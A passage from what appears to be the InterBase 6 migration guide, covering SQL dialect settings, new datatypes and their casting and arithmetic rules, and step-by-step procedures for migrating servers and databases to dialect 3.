dialect 3 on page 43 and Migrating NUMERIC and DECIMAL datatypes on page 48.)

Setting SQL dialects


You can set the SQL dialect for a server or client in a variety of ways. For example, the
new IBConsole user interface has menu options to specify SQL dialect. See the Operations
Guide for a complete explanation of IBConsole use. This section explores the
command-line methods of setting dialect.

Setting isql client dialect


To use isql to create a database in a particular dialect, first set isql to the desired dialect
and then create the database.You can set isql dialect in the following ways:


On the command line, start isql with option -sql_dialect n, where n is 1, 2, or 3.


isql -sql_dialect n

Within an isql session or in an SQL script, you can issue this statement:
SET SQL DIALECT n

The following table shows the precedence for setting isql dialect:
Ranking

How dialect is set

Lowest

Dialect of an attached Version 6 database

Next lowest

Dialect specified on the command line:


isql -sql_dialect n

Next highest

Dialect specified during the session:


SET SQL DIALECT n;

Highest
TABLE 3.1

Dialect of an attached Version 5 database (=1)

isql dialect precedence

23

CHAPTER 3 MIGRATING TO INTERBASE 6

In InterBase 6, isql has the following behavior with respect to dialects:




If you start isql and attach to a database without specifying a dialect, isql takes on the
dialect of the database.

If you specify a dialect on the command line when you invoke isql, it retains that dialect
after connection unless explicitly changed.

When you change the dialect during a session using SET SQL DIALECT n, isql continues to
operate in that dialect until explicitly changed.

When you create a database using isql, the database is created with the dialect of the isql
client; for example, if isql has been set to dialect 1, when you create a database, it is a
dialect 1 database.

If you create a database without first specifying a dialect for the isql client or attaching to
a database, isql creates the database in dialect 3.
The statements above are true whether you are running isql as a command-line utility or
are accessing it through IBConsole, InterBases new interface.

IMPORTANT

Any InterBase 6 isql client that attaches to a version 5 database resets to dialect 1.

Setting the gpre client dialect


In InterBase 6, by default gpre takes on the dialect of the database to which it is
connected. This enables gpre to parse pre-Version 6 source files without moderation.
You can set gpre to operate as a client in a different dialect these ways:


Start gpre with option -sql_dialect n. For example, this command sets gpre to dialect 3:
gpre -sql_dialect 3

Specify dialect within the source, for example:


EXEC SQL
SET SQL DIALECT n

The precedence of dialect specification is as follows:


Lowest
Middle

Dialect of an attached database


Command line specification:

Highest

Dialect explicitly specified within the source, for example

gpre -sql_dialect n
EXEC SQL
SET SQL DIALECT n

24

INTERBASE 6

NEW FEATURES

Setting the gfix client dialect


The command-line option -sql_dialect n, where n is 1 or 3, sets the dialect of an ODS 10
version database. For example, the following statement sets mydb.gdb to dialect 3:
gfix -sql_dialect 3 mydb.gdb

New features
Many of the new InterBase 6 features operate without reference to dialect. Other features
are dialect-specific. These features are listed below and described in more detail in the
Release Notes and other InterBase manuals.

Features available in all dialects


The following new features are available in both dialects of InterBase 6:


IBConsole, InterBases new graphical interface


IBConsole, InterBases new graphical user interface, combines the functionality of Server
Manager and InterBase Windows ISQL. You now create and maintain databases,
configure and maintain servers, and execute interactive SQL from one integrated
interface.

Read-only databases
You can make InterBase 6 databases be read-only. This permits distribution on read-only
media such as CDROMs and reduces the chance of accidental or malicious changes to
databases.

Altering column definitions


The ALTER COLUMN clause of the ALTER TABLE statement can change a columns name,
datatype, or position.

Altering domain definitions


ALTER DOMAIN now includes the ability to change the name or datatype of a domain

definition.


The EXTRACT() function


The new EXTRACT() function extracts information from the new DATE, TIMESTAMP, and
TIME datatypes. In dialect 1, you can use it to extract information from the TIMESTAMP
datatype. Note DATE is new in the sense that it has a different meaning in dialect 3
databases than it did previously.

25

CHAPTER 3 MIGRATING TO INTERBASE 6

SQL warnings
The InterBase API function set now returns warnings and informational messages along
with error messages in the status vector.

The Services API, Install API, and Licensing API


InterBase now provides three new function libraries. The Services API, which is part of
the InterBase client library, provides functions for database maintenance tasks, software
activation, requesting information about the configuration of databases and server, and
working with user entries in the security database.

New gbak functionality


In InterBase 6, gbak can
Back up to multiple files and restore to multiple files
Use the -service switch to perform server-side backups and restores
Set databases to read-only mode when restoring

InterBase Express (IBX)


IBX provides native Delphi components for InterBase data access, services, and
installation. Borland C++ Builder also can access IBX components.

Features available only in dialect 3 databases


The following features are available only in dialect 3 clients and databases because they
conflict with dialect 1 usage.


Delimited identifiers
Identifiers can now be keywords, contain spaces, be case sensitive, and contain
non-ASCII characters. Such identifiers must be delimited by double quotes. String
constants must be delimited by single quotes.

INT64 data storage


In dialect 3 databases, data stored in DECIMAL and NUMERIC columns is stored as INT64
when the precision is greater than 9. This is true only for columns that are created in
dialect 3. These same datatypes are stored as DOUBLE PRECISION in dialect 1 and in all
older InterBase versions. This change in storage also requires different arithmetic
algorithms.

DATE and TIME datatypes

In dialect 3, the DATE datatype holds only date information. This is a change from earlier
InterBase versions in which it stored the whole timestamp.

26

INTERBASE 6

NEW FEATURES

Dialect 3 allows the use of the TIME datatype, which hold only the time portion of the
timestamp.

New keywords
InterBase 6 introduces the following new keywords:
COLUMN
CURRENT_DATE
CURRENT_TIME
CURRENT_TIMESTAMP
DAY
EXTRACT
HOUR
MINUTE
MONTH

SECOND
TIME
TIMESTAMP
TYPE
WEEKDAY
YEAR
YEARDAY

These keywords are reserved words in all version 6 dialects.




You cannot create objects in a version 6 dialect 1 database that have any of these
keywords as object names (identifiers).

You can migrate a version 5 database that contains these keywords used as identifiers to
version 6 dialect 1 without changing the object names: a column could be named YEAR,
for instance.
Version 5 clients can access these keyword identifiers without error.
Version 6 clients cannot access keywords that are used as identifiers. In a dialect 1
database, you must change the names so that they are not keywords.
If you migrate directly to dialect 3, you can retain the names, but you must delimit them
with double quotes. To retain accessibility for older clients, put the names in all upper
case. Delimited identifiers are case sensitive.

Although TIME is a reserved word in version 6 dialect 1, you cannot use it as a datatype
because such databases guarantee datatype compatibility with version 5 clients.

In dialect 3 databases and clients, any reserved word can be used as an identifier as long
as it is delimited with double quotes.

27

CHAPTER 3 MIGRATING TO INTERBASE 6

Delimited identifiers
To increase compliance with the SQL 92 standard, InterBase 6 introduces delimited
identifiers. An identifier is the name of any database object; for instance a table, a
column, or a trigger. A delimited identifier is an identifier that is enclosed in double
quotes. Because the quotes delimit the boundaries of the name, the possibilities for object
names are greatly expanded from previous versions of InterBase. Object names can now:


mimic keywords

include spaces (except trailing spaces)

be case-sensitive

 Double-quotes use
Up to and including version 5, InterBase allowed the use of either single or double quotes
around string constants. The concept of delimited identifiers did not exist. InterBase 6
operates under these rules for double quotes:

28

In all versions of InterBase, anything delimited by single quotes is treated as a string


constant.

In version 5 and older of InterBase, string constants were delimited by either double or
single quotes. Since there was no concept of delimited identifiers, double quotes were
always interpreted as string constants.

Version 6 dialect 1 is a transition mode that behaves like older versions of InterBase with
respect to quote marks: it interprets strings within double quotes as string constants and
does not permit delimited identifiers.

Version 6 dialect 3 uses double quotes only for delimited identifiers. String constants must
be delimited by single quotes, never double.

When version 6 servers detect that the client is dialect 1, they permit client DML
statements to contain double quotes and they correctly handle these as string constants.
However, they do not permit double quotes in client DDL statements because that
metadata would not be allowed in dialect 3. Version 6 servers all insist that string
constants be delimited with single quotes when clients create new metadata.

INTERBASE 6

NEW FEATURES

DATE, TIME, and TIMESTAMP datatypes


InterBase 6 dialect 3 replaces the old InterBase DATE datatype, which contains both date
and time information, with SQL-92 standard TIMESTAMP, DATE, and TIME datatypes. The
primary migration problem exists in the source code of application programs that use the
InterBase 5 DATE datatype. In InterBase 6, the DATE keyword represents a date-only
datatype, while a Version 5 DATE represents a date-and-time datatype.
Columns and domains that are defined as DATE datatype in InterBase 5 DATE appear as
TIMESTAMP columns when the database is restored in InterBase 6. However, a TIMESTAMP
datatype has four decimal points of precision, while a Version 5 DATE datatype has only
two decimal points of precision.
If you migrate your database to dialect 3 and you require only date or only time
information from a TIMESTAMP column, you can use ALTER COLUMN to change the datatype
to DATE or TIME. These columns each take only four bytes, whereas TIMESTAMP and the
InterBase 5 DATE columns each take eight bytes. If your TIMESTAMP column holds both
date and time information, you cannot change it to an InterBase 6 DATE or TIME column
using ALTER COLUMN, because ALTER COLUMN does not permit data loss. Dialect use also
enforces certain rules:


In dialect 1, only TIMESTAMP is available. TIMESTAMP is the equivalent of the DATE datatype
in previous versions. When you back up an older database and restore it in version 6, all
the DATE columns and domains are automatically restored as TIMESTAMP. DATE and
TIMESTAMP datatypes are both available and both mean the same thing in dialect 1.

In dialect 3, TIMESTAMP functions as in dialect 1, but two additional datatypes are


available: DATE and TIME. These datatypes function as their names suggest: DATE holds
only date information and TIME holds only time.

In dialect 3, DATE and TIME columns require only four bytes of storage, while TIMESTAMP
columns require eight bytes.
The following example shows the differences between dialect 1 and dialect 3 clients when
date information is involved.

Example

CREATE TABLE table1 (fld1 DATE, fld2 TIME);


INSERT INTO table1 VALUES (CURRENT_DATE, CURRENT_TIME);

Using dialect 1 clients


SELECT * FROM table1;
Statement failed, SQLCODE = -804
Dynamic SQL Error
-SQL error code = -804

29

CHAPTER 3 MIGRATING TO INTERBASE 6

-Data type unknown


-Client SQL dialect 1 does not support reference to TIME datatype
SELECT fld1 FROM table1;
Statement failed, SQLCODE = -206
Dynamic SQL Error
-SQL error code = -206
-Column unknown
-FLD1
-Client SQL dialect 1 does not support reference to DATE datatype

Using dialect 3 clients


SELECT * FROM table1;
FLD1
FLD2
=========== =============
1999-06-25 11:32:30.0000
SELECT fld1 FROM table1;
FLD1
===========
1999-06-25

Example

CREATE TABLE table1 (fld1 TIMESTAMP);


INSERT INTO table1 (fld1) VALUES (CURRENT_TIMESTAMP);
SELECT * FROM table1;

In dialect 1:
FLD1
===========
25-JUN-1999

In dialect 3:
FLD1
=========================
1999-06-25 10:24:35.0000

Example

SELECT CAST (fld1 AS CHAR(5)) FROM table1;


In dialect 1:
======

30

INTERBASE 6

NEW FEATURES

25-JU

In dialect 3:
Statement failed, SQLCODE = -802
arithmetic exception, numeric overflow, or string truncation

 Converting TIMESTAMP columns to DATE or TIME


Once you have migrated a database to dialect 3, any columns that previously had the
DATE datatype will have the TIMESTAMP datatype. If you want to store that data in a DATE
or TIME column, follow these steps:
1. Use ALTER TABLE to create a new column of the desired type.
2. Insert the values from the original column into the new column:
UPDATE tablename SET new_field = CAST (old_field AS new_field);

3. Use ALTER TABLE to drop the original column.


4. Use ALTER TABLE ALTER COLUMN to rename the new column.

 Casting date/time datatypes


InterBase 6 dialect 3 no longer allows the use of the CAST operator to remove the data
portion of a timestamp by casting the timestamp value to a character value. When you
cast a TIMESTAMP to a CHAR or VARCHAR in dialect 3, the destination type must be at least
24 characters in length or InterBase will report a string overflow exception. This is
required by the SQL3 standard.
You can use the CAST() function in SELECT statements to translate between date/time
datatypes and various character-based datatypes. The character datatype must be at least
24 characters in length. You can, however, cast a TIMESTAMP to a DATE and then cast the
DATE to a CHAR of less than 24 characters. For example:
SELECT CAST (CAST (timestamp_col AS DATE) AS CHAR(10)) FROM table1;

It is not possible to cast a date/time datatype to or from BLOB, SMALLINT, INTEGER, FLOAT,
DOUBLE PRECISION, NUMERIC, or DECIMAL datatypes.
For more information, refer to Using CAST() to convert dates and times in the Embedded
SQL Guide.
Table 3.2 outlines the results of casting to date/time datatypes:

31

CHAPTER 3 MIGRATING TO INTERBASE 6

To
Cast From

TIMESTAMP

DATE

TIME

VARCHAR(n)

See below.

String must be in format


HH:MM:SS.thousands

CSTRING(n)

String must be in format


YYYY-MM-DD
HH:MM:SS.thousands

TIMESTAMP

Always succeeds

Date portion of timestamp Time portion of


timestamp

DATE

Always succeeds; time


portion of timestamp set
to 0:0:0.0000

Always succeeds

Error

TIME

Always succeeds; date


portion of timestamp set
to current date

Error

Always succeeds

CHARACTER(n)

TABLE 3.2

Results of casting to date/time datatypes


Casting DATE to string results in YYYY-MM-DD where MM is a two-digit month. If the

result does not fit in the string variable a string truncation exception is raised. In earlier
versions, this case results in DD-Mon-YYYY HH:mm:SS.hundreds where Mon was a
3-letter English month abbreviation. Inability to fit in the string variable resulted in a
silent truncation.
Casting a string to a date now permits strings of the form:
'yyyy-mm-dd'
'yyyy:mm:dd'

'yyyy/mm/dd'
'yyyy.mm.dd'

'yyyy mm dd'

In all of the forms above, you can substitute a month name or 3-letter abbreviation in
English for the 2-digit numeric month. However, the order must always be 4-digit year,
then month, then day.
In previous versions of InterBase, you could enter date strings in a number of forms,
including ones that had only two digits for the year. Those forms are still available in
InterBase 6. If you enter a date with only two digits for the year, InterBase uses its "sliding
window" algorithm to assign a century to the years.
The following forms were available in earlier versions of InterBase and are still permitted
in InterBase 6:
'mm-dd-yy'
'mm dd yy'
'dd.mm.yy'

32

'mm-dd-yyyy'
'mm dd yyyy'
'dd.mm.yyyy'

'mm/dd/yy'
'mm:dd:yy'

'mm/dd/yyyy'
'mm:dd:yyyy'

INTERBASE 6

NEW FEATURES

If you write out the month name in English or use a 3-character English abbreviation,
you can enter either the month or the day first. In the following examples, xxx stands
for either a whole month name or a three-letter abbreviation. All of the following forms
are acceptable:
'dd-xxx-yy'
'dd xxx yy'
'dd:xxx:yy'

'dd-xxx-yyyy'
'dd xxx yyyy'
'dd:xxx:yyyy'

'xxx-dd-yy'
'xxx dd yy'
'xxx:dd:yy'

'xxx-dd-yyyy'
'xxx dd yyyy'
'xxx:dd:yyyy'

For example, the following INSERT statements all insert the date January 22, 1943:
INSERT
INSERT
INSERT
INSERT

INTO
INTO
INTO
INTO

t1
t1
t1
t1

VALUES
VALUES
VALUES
VALUES

('1943-01-22');
('01/22/1943');
('22.01.1943');
('jan 22 1943');

The following statement would enter the date January 22, 2043:
INSERT INTO t1 VALUES ('01/22/43');

Table 3.3 outlines the results of casting from date/time datatypes:

TABLE 3.3

Cast From

To VARCHAR(n), CHARACTER (n), or CSTRING(n)

TIMESTAMP

Succeeds if n is 24 or more. Resulting string is in format


YYYY-MM-DD HH:MM:SS.thousands.

DATE

Succeeds if n is 10 or more. Resulting string is in the format YYYY-MM-DD.

TIME

Succeeds if n is 13 or more. Resulting string is the format HH:MM:SS.thousands.

Results of casting to date/time datatypes

33

CHAPTER 3 MIGRATING TO INTERBASE 6

 Adding and subtracting datetime datatypes


The following table shows the result of adding and subtracting DATE, TIME, TIMESTAMP,
and numeric values. Numeric value refers to any value that can be cast as an exact
numeric value by the database engine (for example, INTEGER, DECIMAL, or NUMERIC).

TABLE 3.4

34

Operand1

Operator Operand2

Result

DATE

DATE

Error

DATE

TIME

TIMESTAMP (concatenation)

DATE

TIMESTAMP

Error

DATE

Numeric value DATE + number of days: fractional part ignored

TIME

DATE

TIMESTAMP (concatenation)

TIME

TIME

Error

TIME

TIMESTAMP

Error

TIME

Numeric value TIME + number of seconds: 24-hour modulo arithmetic

TIMESTAMP

DATE

Error

TIMESTAMP

TIME

Error

TIMESTAMP

TIMESTAMP

Error

TIMESTAMP

Numeric value TIMESTAMP: DATE + number of days; TIME + fraction of day


converted to seconds

DATE

DATE

DECIMAL(9,0) representing the number of days

DATE

TIME

Error

DATE

TIMESTAMP

Error

DATE

Numeric value DATE number of days: fractional part ignored

TIME

DATE

Error

TIME

TIME

DECIMAL(9,4) representing number of seconds

TIME

TIMESTAMP

Error

Adding and subtracting date/time datatypes

INTERBASE 6

NEW FEATURES

TABLE 3.4

Operand1

Operator Operand2

Result

TIME

Numeric value TIME number of seconds: 24-hour modulo arithmetic

TIMESTAMP

DATE

Error

TIMESTAMP

TIME

Error

TIMESTAMP

TIMESTAMP

DECIMAL(18,9) representing days and fraction of day

TIMESTAMP

Numeric value TIMESTAMP: DATE number of days; TIME fraction of day


converted to seconds

Adding and subtracting date/time datatypes


Note Numeric value + DATE, TIME, or TIMESTAMP is symmetric to DATE, TIME, or
TIMESTAMP + numeric value.

 Using date/time datatypes with aggregate functions


You can use the date/time datatypes with the MIN(), MAX(), COUNT() functions, the
DISTINCT argument to those functions, and the GROUP BY argument to the SELECT()
function. An attempt to use SUM() or AVG() with date/time datatypes returns an error.

 Default clauses
CURRENT_DATE, CURRENT_TIME, and CURRENT_TIMESTAMP can be specified as the default

clause for a domain or column definition.

 Extracting date and time information


The EXTRACT() function extracts date and time information from databases. In dialect 3,
the EXTRACT operator allows you to return different parts of a TIMESTAMP value. The
EXTRACT operator makes no distinction between dialects when formatting or returning
the information. EXTRACT() has the following syntax:
EXTRACT (part FROM value)

The value passed to the EXTRACT() expression must be DATE, TIME, or TIMESTAMP.
Extracting a part that doesnt exist in a datatype results in an error. For example:
EXTRACT (TIME FROM aTime)

A statement such as EXTRACT (YEAR from aTime) would fail.

35

CHAPTER 3 MIGRATING TO INTERBASE 6

The datatype of EXTRACT() expressions depends on the specific part being extracted:

TABLE 3.5

Extract

Resulting datatype Representing

YEAR

SMALLINT

Year, range 0-5400

MONTH

SMALLINT

Month, range 1-12

DAY

SMALLINT

Day, range 1-31

HOUR

SMALLINT

Hour, range 1-23

MINUTE

SMALLINT

Minute, range 1-59

SECOND

DECIMAL(6,4)

Second, range 0-59.9999

WEEKDAY

SMALLINT

Day of the week, range 0-6


(0 = Sunday, 1 = Monday, and so
on)

YEARDAY

SMALLINT

Day of the year, range 1-366

Extracting date and time information


SELECT EXTRACT (YEAR FROM timestamp_fld) FROM table_name;
=======
1999
SELECT EXTRACT (YEAR FROM timestamp_fld) FROM table_name;
=======
1999
SELECT EXTRACT (MONTH FROM timestamp_fld) FROM table_name;
=======
6
SELECT EXTRACT (DAY FROM timestamp_fld) FROM table_name;
=======
25
SELECT EXTRACT (MINUTE FROM timestamp_fld) FROM table_name;
=======
24
SELECT EXTRACT (SECOND FROM timestamp_fld) FROM table_name;
============
35.0000
SELECT EXTRACT (WEEKDAY FROM timestamp_fld) FROM table_name;

36

INTERBASE 6

NEW FEATURES

=======
5
SELECT EXTRACT (YEARDAY FROM timestamp_fld) FROM table_name;
=======
175
SELECT EXTRACT (MONTH FROM timestamp_fld) ||
'-' || EXTRACT (DAY FROM timestamp_fld) ||
'-' || EXTRACT (YEAR FROM timestamp_fld) FROM table_name;
====================
6-25-1999

DECIMAL and NUMERIC datatypes


The following sections highlight some of the changes introduced by InterBase 6 when
dealing with numeric values. They need to be considered carefully when migrating your
database from dialect 1 to dialect 3. When considering these issues, keep in mind that in
order to make use of the new functionality, the statements must be created with a client
dialect setting of 3.
The most notable migration issues involve using the division operator and the AVG()
function (which also implies division) with exact numeric operands. Exact numeric
refers to any of the following data types: INTEGER, SMALLINT, DECIMAL, NUMERIC. NUMERIC
and DECIMAL datatypes that have a precision greater than 9 are called large exact
numerics in this discussion. Large exact numerics are stored as DOUBLE PRECISION in
dialect 1 and as INT64 in columns created in dialect 3.
IMPORTANT

When you migrate an exact numeric column to dialect 3 it is still stored as DOUBLE
PRECISION. The migration does not change the way the data is stored because INT64
cannot store the whole range that DOUBLE PRECISION can store. There is potential data
loss, so InterBase does not permit direct conversion. If you decide that you want your
data stored as INT64, you must create a new column and copy the data. Only exact
numeric columns that are created in dialect 3 are stored as INT64. The details of the
process are provided in Migrating databases to dialect 3 on page 43.
You might or might not want to change exact numeric columns to INT64 when you
migrate to dialect 3. See Do you really need to migrate your NUMERIC and DECIMAL
datatypes? on page 48 for a discussion of issues.
Dialect 3 features and changes include


Support for 64 bit integers.

37

CHAPTER 3 MIGRATING TO INTERBASE 6

Overflow protection. In dialect 1, if the product of two integers was bigger than 31 bits,
the product was returned modulo 232. In dialect 3, the true result is returned as a 64-bit
integer. Further, if the product, sum, difference, or quotient of two exact numeric values
is bigger than 63 bits, InterBase issues an arithmetic overflow error message and
terminates the operation. (Previous versions sometimes returned the least-significant
portion of the true result.). The stored procedure bignum below demonstrates this.
Operations involving division return an exact numeric if both operands are exact
numerics in dialect 3. When the same operation is performed in dialect 1, the result is a
DOUBLE PRECISION.
To obtain a DOUBLE PRECISION quotient of two exact numeric operands in dialect 3,
explicitly cast one of the operands to DOUBLE PRECISION before performing the division:
CREATE TABLE table 1 (n1 INTEGER, n2 INTEGER);
INSERT INTO table 1 (n1, n2) VALUES (2, 3);
SELECT n1 / n2 FROM table1;
======================
0

Similarly, to obtain a double precision value when averaging an exact numeric column,
you must cast the argument to double precision before the average is calculated:
SELECT AVG(CAST(int_col AS DOUBLE PRECISION))FROM table1;

Compiled objects
The behavior of a compiled object such as a stored procedure, trigger, check constraint,
or default value depends on the dialect setting of the client at the time the object is
compiled. Once compiled and validated by the server the object is stored as part of the
database and its behavior is constant regardless of the dialect of the client that calls it.
Example

Consider the following procedure:


CREATE PROCEDURE exact1 (a INTEGER, b INTEGER) RETURNS (c INTEGER)
AS BEGIN
c = a / b;
EXIT;
END;

When created by a dialect 1 client:


EXECUTE PROCEDURE exact 1 returns 1 when executed by either a dialect 1 or dialect 3

client.

38

INTERBASE 6

NEW FEATURES

When created by a dialect 3 client:


EXECUTE PROCEDURE exact 1 returns 0 when executed by either a dialect 1 or dialect 3

client.
Consider the following procedure:

Example

CREATE PROCEDURE bignum (a INTEGER, b INTEGER) RETURNS (c NUMERIC(18,0)


AS BEGIN
c = a * b;
EXIT;
END;

When created by a dialect 1 client:


EXECUTE PROCEDURE bignum (65535, 65535) returns 131071.0000 when executed by

either a dialect 1 or dialect 3 client.


When created by a dialect 3 client:
EXECUTE PROCEDURE bignum (65535, 65535) returns *ERROR* cant access INT64

when executed by a dialect 1 client.


EXECUTE PROCEDURE bignum (65535, 65535) returns 4294836225 when executed by a

dialect 3 client.

Generators
InterBase 6 generators return a 64-bit value, and only wrap around after 264 invocations
(assuming an increment of 1), rather than after 232 as in InterBase 5. Applications should
use an ISC_INT64 variable to hold the value returned by a generator. A client using dialect
1 receives only the least significant 32 bits of the updated generator value, but the entire
64-bit value is incremented by the engine even when returning a 32-bit value to a client
that uses dialect 1. If your database was using an INTEGER field for holding generator
values, you need to recreate the field so that it can hold 64-bit integer values.

Miscellaneous issues


IN clauses have a limit of 1500 elements

Resolution If you have more than 1500 elements, place the values in a temporary table
and use a SELECT subquery in place of the list elements.


Arithmetic operations on character fields are no longer permitted in client dialect 3


Resolution Explicitly cast the information before performing arithmetic calculations.

39

CHAPTER 3 MIGRATING TO INTERBASE 6

Using isql to select from a TIMESTAMP column displays all information when client dialect
is 3.
Resolution In versions of InterBase prior to 6.0, the time portion of a timestamp
displayed only if SET TIME ON was in effect. In 6.0 client dialect 3, the time portion of the
timestamp always displays.

Migrating servers and databases


You can migrate your servers and applications to InterBase 6 at different times. They are
separate migrations. Bear the following issues in mind as you plan your migration:


Older clients can still access databases that have been migrated to InterBase 6. You must
be aware, however, that they cannot access new datatypes or data stored as INT64, and
they always handle double quoted material as strings.

InterBase strongly recommends that you establish a migration testbed to check your
migration procedures before migrating production servers and databases. The testbed
does not need to be on the same platform as the production clients and servers that you
are migrating.
The migration path varies somewhat depending on whether you are replacing an existing
server or installing a new server and moving old databases there. Upgrading an existing
server costs less in money, but may cost more in time and effort. The server and all the
databases you migrate with it are unavailable during the upgrade. If you have hardware
available for a new InterBase 6 server, the migration can be done in parallel, without
interrupting service more than very briefly. This option also offers an easier return path
if problems arise with the migration.

In-place server migration


This section describes the recommended steps for replacing an InterBase 5 server with
an InterBase 6 server.
1. Shut down each database before backup to ensure that no transactions are
in progress.
2. Back up all databases on the version 5 server. Include isc4.gdb if you want to
preserve your configured user IDs.
As a precaution, you should validate your databases before backing up and then
restore each database to ensure that the backup file is valid.

40

INTERBASE 6

MIGRATING SERVERS AND DATABASES

3. Shut down the version 5 server. If your current server is a Superserver, you
are not required to uninstall the server if you intend to install over it,
although uninstalling is always good practice. You cannot have multiple
versions of InterBase on the same machine. If your current server is Classic,
you must uninstall before installing InterBase 6.
4. Install the version 6 server.
Note The install does not overwrite isc4.gdb or isc4.gbk.

5. Start the new server.


- On Windows NT, go to Services in the Control Panel and start the InterBase
Guardian.
- On Windows 2000, go to Control Panel | Administrative Tools | Services and start the
InterBase Guardian.
- On Windows 98/ME, run the InterBase Guardian application.
- On UNIX/Linux platforms, issue the following command to start the InterBase
Superserver as user interbase:
# echo "/usr/interbase/bin/ibmgr -start -forever" | su interbase

Note that InterBase can run only as user root or user interbase on UNIX.
6. To restore the list of valid users, follow these steps:
a. Restore isc4.gbk to isc4_old.gdb
b. Shut down the server
c. Copy isc4_old.gdb over isc4.gdb
d. Copy isc4_old.gbk over isc4.gbk
e. Restart the server
7. Delete each ODS 9 database file. Restore each database from its backup file.
This process creates InterBase 6, ODS 10, dialect 1 databases.
8. Perform a full validation of each database.
After performing these steps, you have an InterBase 6 server and InterBase 6, dialect 1
databases. See About InterBase 6, dialect 1 databases on page 43 to understand
more about these databases. See Migrating databases to dialect 3 on page 43 for a
description of how to migrate databases to dialect 3. See Migrating clients on page 51
for an introduction to client migration.

41

CHAPTER 3 MIGRATING TO INTERBASE 6

Migrating to a new server


This section describes the recommended steps for installing InterBase 6 as a new server
and then migrating databases from a previous InterBase 5 installation. The process differs
only slightly from an in-line install.
1. Back up all databases on the version 5 server. Include isc4.gdb if you want to
preserve your configured user IDs. Shut down the databases before backup
to ensure that no transactions are in progress.
2. Install the version 6 server.
3. Start the new version 6 server.
- On Windows NT/2000, go to Services in the Control Panel and start the InterBase
Guardian.
- On Windows 98, run the InterBase Guardian application.
- On UNIX/Linux platforms, issue the following command to start the InterBase
Superserver as user interbase:
# echo "/usr/interbase/bin/ibmgr -start -forever" | su interbase

Note that InterBase can run only as user root or user interbase on UNIX.
4. Copy the database backup files to the new server and restore each database
from its backup file. This process creates InterBase 6, ODS 10, dialect 1
databases.
Save your backup files until your migration to dialect 3 is complete.
5. To restore the list of valid users, follow these steps:
a. Restore isc4.gbk to isc4_old.gdb
b. Shut down the server
c. Copy isc4_old.gdb over isc4.gdb
d. Copy isc4_old.gbk over isc4.gbk
e. Restart the server
6. Perform a full validation of each database on the new server.
After performing these steps, you have an InterBase 6 server and InterBase 6, dialect 1
databases. See About InterBase 6, dialect 1 databases on page 43 to understand
more about these databases. See Migrating databases to dialect 3 on page 43 for a
description of how to migrate databases to dialect 3. See Migrating clients on page 51
for an introduction to client migration.

42

INTERBASE 6

MIGRATING DATABASES TO DIALECT 3

About InterBase 6, dialect 1 databases


When you back up a version 5 database and restore it in InterBase 6, what do you have?


A version 5 client can access everything in the database with no further changes.

If there are object namescolumn or table names, for instancethat include any of the
17 new keywords, you must change these names in order to access these objects with a
version 6 dialect 1 client. The new ALTER COLUMN clause of ALTER TABLE makes it easy to
implement column name changes.
Version 5 clients can still access the columns.
Dialect 3 clients can access these columns as long as they delimit them with double
quotes.

The 17 new keywords are reserved words. However, the new datatypes TIME and DATE are
not available to use as datatypes. DATE columns have the old meaningboth date and
time. The new meaning of DATEdate onlyis available only in dialect 3.

All columns that were previously DATE datatype are now TIMESTAMP datatype. TIMESTAMP
contains exactly the information that DATE did in previous versions.

Exact numeric columnsthose that have a DECIMAL or NUMERIC datatype with precision
greater than 9are still stored as DOUBLE PRECISION datatypes. All arithmetic algorithms
that worked before on these columns still work as before. It is not possible to store data
as INT64 in dialect 1.

Migrating databases to dialect 3


There are four major areas of concern when migrating a database from dialect 1 to dialect
3: double quotes, the DATE datatype, large exact numerics (for purposes of this discussion,
NUMERIC and DECIMAL datatypes that have a precision greater than 9), and keywords.
The process varies somewhat depending on whether you can create an application to
move data from your original database to an empty dialect 3 database. If you do not have
access to such a utility, you need to perform an in-place migration of the original
database.

Overview
In either method, you begin by extracting the metadata from your database, examining
it for problem areas, and fixing the problems.

43

CHAPTER 3 MIGRATING TO INTERBASE 6

If you are performing an in-place migration, you copy corrected SQL statements from the
metadata file into a new script file, modify them, and run the script against the original
database. Then you set the database to dialect 3. There are some final steps to take in the
dialect 3 database to store old data as INT64.

If you have a utility for moving data from the old database to a newly created empty
database, you use the modified metadata file to create a new dialect 3 database and use
the utility to transfer data from the old database to the new.
In both cases, you must make changes to the new database to accommodate migrated
columns that must be stored as INT64 and column constraints and defaults that originally
contained double quotes.
The two methods are described below.

Method one: in-place migration


1. If you have not migrated the database to version 6, dialect 1, do so first. Back
up the database again.
2. Extract the metadata from the database using isql -x. If you are migrating
legacy databases that contain GDML, see Migrating older databases on
page 50.
3. Prepare an empty text file to use as a script file. As you fix data structures in
the metadata files, you will copy them to this file to create a new script.
Note You could also proceed by removing unchanged SQL statements from the

original metadata file, but this is more likely to result in problems from statements
that were left in error. InterBase recommends creating a new script file that contains
only the statements that need to be run against the original database.
For the remaining steps, use a text editor to examine and modify the metadata and script
files. Place copied statements into the new script file in the same order they occur in the
metadata file to avoid dependency errors.
4. Search for each instance of double quotes in the extracted metadata file.
These can occur in triggers, stored procedures, views, domains, table column
defaults, and constraints. Change each double quote that delimits a string to
a single quote. Make a note of any tables that have column-level constraints
or column defaults in double quotes.
Copy each changed statement to your empty script file, but do not copy ALTER TABLE
statements whose only double quotes are in column-level constraints or column
defaults.

44

INTERBASE 6

MIGRATING DATABASES TO DIALECT 3

Important When copying trigger or stored procedure code, be sure to include any
associated SET TERM statements.
Quoted quotes If there is any chance that you have single or double quotes inside of
strings, you must search and replace on a case-by-case basis to avoid inappropriate
changes. The handling of quotation marks within strings is as follows:

TABLE 3.6

String:

In "peg" mode

Double-quoted:

"In ""peg"" mode"

Single-quoted:

'In "peg" mode'

String:

O'Reilly

Double-quoted:

"O'Reilly"

Single-quoted:

'O''Reilly'

Handling quotation marks inside of strings

5. In the new script file, search for occurrences of the TIMESTAMP datatype. In
most cases, these were DATE datatypes in your pre-6 database. For each one,
decide whether you want it to be TIME, TIMESTAMP, or DATE in your dialect 3
database. Change it as needed.
6. Repeat step 5 in the metadata file. Copy each changed statement to your new
script file.
7. In the new script file, search for occurrences of reserved words that are used
as object names and enclose them in double quotes; that makes them
delimited identifiers.
8. Repeat step 7 in the metadata file. Copy each changed statement to your new
script file.
9. In each of the two files, search for each instance of a DECIMAL or NUMERIC
datatype with a precision greater than 9. Consider whether or not you want
data stored in that column or with that domain to be stored as DOUBLE
PRECISION or INT64. See Do you really need to migrate your NUMERIC and
DECIMAL datatypes? on page 48 for a discussion of issues. For occurrences
that should be stored as DOUBLE PRECISION, change the datatype to that.
Leave occurrences that you want stored as INT64 alone for now. Copy each
changed statement that occurs in the metadata file to your new script file.
